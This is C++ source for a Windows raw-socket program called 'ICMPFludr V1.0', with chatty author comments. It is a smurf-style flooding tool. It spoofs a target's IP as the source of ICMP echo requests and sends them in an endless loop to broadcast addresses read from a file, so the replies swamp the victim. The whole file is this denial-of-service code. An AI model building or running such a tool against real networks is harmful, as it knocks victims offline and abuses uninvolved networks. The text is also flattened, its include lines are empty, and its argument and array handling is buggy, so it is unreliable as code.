// i'm disappointed, because what I originally did was remake the code // from what I learned.. everything seemed fine, until sendto kept on // crashing... well not crashing but something was wrong, either with // the sock itself or with sockaddr_in structure, but in the end I gave // in and copied and pasted my FBSD version and just created the different // protocol structures and edited to run for winsock2, I suck at coding :( #include #include #include #include #include #include struct ip { unsigned int ip_hl:4; unsigned int ip_v:4; unsigned char ip_tos; unsigned short ip_len; unsigned short ip_id; unsigned short ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short ip_sum; unsigned long ip_src; unsigned long ip_dst; }; struct icmp { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_cksum; }; void usage (char *); int main (int argc, char *argv[]) { if (argc < 4) usage(argv[0]); int s, on = 1, psize = atoi(argv[3]), delay = atoi(argv[4]), id = htons(getpid()), num = 0, bf = 0; struct sockaddr_in sin; struct ip *ip; struct icmp *icmp; char *packet; int pktsize = sizeof(struct ip) + sizeof(struct icmp) + psize; FILE *bcastfile; unsigned long bcast[1024]; char buf[32]; WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { cout << "WSAstartup went boom\n"; exit(1); } /*read bcast addy's from files, fgets fetches 32 bytes (buf) *from the file until it reaches a newlineor EOF, than does checks *whether it's a comment, or IP.. if neither it get's dropped */ if ((bcastfile = fopen(argv[2], "r")) == NULL) { cout << "Error: fopen()\n"; exit(-1); } while(fgets(buf, sizeof buf, bcastfile) != NULL) { char *p; int valid; if(buf[0] == '#' || buf[0] == '\n') continue; buf[strlen(buf) -1] = '\0'; for (p = buf, valid = 1; *p != '\0'; p++) { if ( ! isdigit(*p) && *p != '.') { cout << "Warning: " << buf << " is an invalid ip\n"; valid = 0; break; } } if (valid) { bcast[num] = inet_addr(buf); num ++; if (num == 1024) break; } } /*set up socket :)*/ if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { cout << "Error: socket()\n"; exit(-1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { cout << "Error: setsockopt()\n"; exit(-1); } /* set up protocol structure */ sin.sin_port = htons(0); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); /*mmmmm packet filling *drool* */ packet = (char *) malloc(pktsize); ip = (struct ip *) packet; icmp = (struct icmp *) (packet + sizeof(struct ip)); memset(packet, '\0', pktsize); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = htons(pktsize); ip->ip_ttl = 255; ip->ip_off = 0; ip->ip_id = id; ip->ip_p = IPPROTO_ICMP; ip->ip_sum = 0; ip->ip_src = sin.sin_addr.s_addr; ip->ip_dst = bcast[bf]; icmp->icmp_type = 8; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(8 << 8)); /* CHARGEEEEEEEE */ while(1) { bf = 0; while(bf < num) { if (sendto(s, packet, pktsize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { cout << "Error: sendto()\n"; free(packet); exit(-1); } id++; bf++; ip->ip_id = id; ip->ip_dst = bcast[bf]; Sleep(delay); } cout << "."; } return 0; } void usage (char *s) { cout << "ICMPFludr V1.0\nUsage: " << s << " \n"; exit(-1); }